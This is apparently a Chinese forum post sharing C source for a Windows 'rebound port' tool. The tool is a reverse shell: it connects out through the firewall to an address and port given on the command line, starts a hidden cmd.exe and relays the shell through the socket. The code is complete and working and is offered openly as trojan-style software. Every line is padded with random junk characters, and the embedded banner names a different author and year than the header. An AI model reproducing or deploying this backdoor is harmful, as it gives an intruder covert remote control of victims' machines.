这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /%C6e
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/* ============================== I'2:>44>I6
Rebound port in Windows NT ztf
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By wind,2006/7 ^ j;HYs_
===============================*/ 9PjL
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#include `<kHNcm
#include <8Ek-aNNt
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#pragma comment(lib,"wsock32.lib") Z.Lm[$/edn
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void OutputShell(); C=(-oI n
SOCKET sClient; F+,X%$A#?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JW9^C
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void main(int argc,char **argv) ((^jyQ
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WSADATA stWsaData; SQ|pH"
int nRet; wLC!vX.S
SOCKADDR_IN stSaiClient,stSaiServer; wH=
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if(argc != 3) G7 >
{ rs{e6
printf("Useage:\n\rRebound DestIP DestPort\n"); A!Zjcp|
return; V#[I/D
} UMwB. *
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WSAStartup(MAKEWORD(2,2),&stWsaData); $r|R`n =
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fiz2544
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stSaiClient.sin_family = AF_INET; (RG\U[
stSaiClient.sin_port = htons(0); 95Bw;U3E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1}#v<b$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (A O]f fBU
{ B 3|zR
printf("Bind Socket Failed!\n"); gP8Fe =]
return; 7IW:,=Zk8+
} 'c5#M,G~
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stSaiServer.sin_family = AF_INET; D}'g4Ag
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E9pKR+P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wGa0w*$
{ n4\6\0jq6
printf("Connect Error!"); $l-|abLELz
return; =o\:@I[
} @QI]P{
OutputShell(); ^Dh j<_
} =<fH RX`
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void OutputShell() nL!h hseH
{ /]%,C
char szBuff[1024]; ;wND?:
SECURITY_ATTRIBUTES stSecurityAttributes; G~_5E]8
OSVERSIONINFO stOsversionInfo; IrQ8t!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :,rD5aOQ
STARTUPINFO stStartupInfo; W=M&U
char *szShell; t+}@J}b
PROCESS_INFORMATION stProcessInformation; sN|-V+7&j
unsigned long lBytesRead; K+2bNKZ0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ONJW*!(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'KpCPOhfR
stSecurityAttributes.lpSecurityDescriptor = 0; z:9
stSecurityAttributes.bInheritHandle = TRUE; Q_QmyD~m
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6yk
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RK(uC-l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F3jrJ+nJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X
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stStartupInfo.wShowWindow = SW_HIDE; +P|$T:b
stStartupInfo.hStdInput = hReadPipe; gJi11^PK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Wd$N[ |
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GetVersionEx(&stOsversionInfo); 9F0B-aZ
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switch(stOsversionInfo.dwPlatformId) i"e)LJz
{ ;U7\pc;S
case 1: TfZO0GL$
szShell = "command.com"; n53}79Uiz
break; aY {.
default: m
szShell = "cmd.exe"; *JpEBtTv=5
break; (|6qN
} nIsi
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6]rrj
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send(sClient,szMsg,77,0); ?QuFRl,ZJ
while(1) xxV{1, H2
{ |f>y"T+1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kb%W3c9HO
if(lBytesRead) Q z/pz_}
{ ol[{1KT{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2j"%}&
send(sClient,szBuff,lBytesRead,0); r{<u\>6X>P
} #%{\59/w
else 3Q;^X(Ml*
{ huq6rA/i
lBytesRead=recv(sClient,szBuff,1024,0); L>L4%?
if(lBytesRead<=0) break; b _u&%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S3J6P2P
} ,LMme}FFeb
} $ o t"Du
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return; )Z;Y,g
}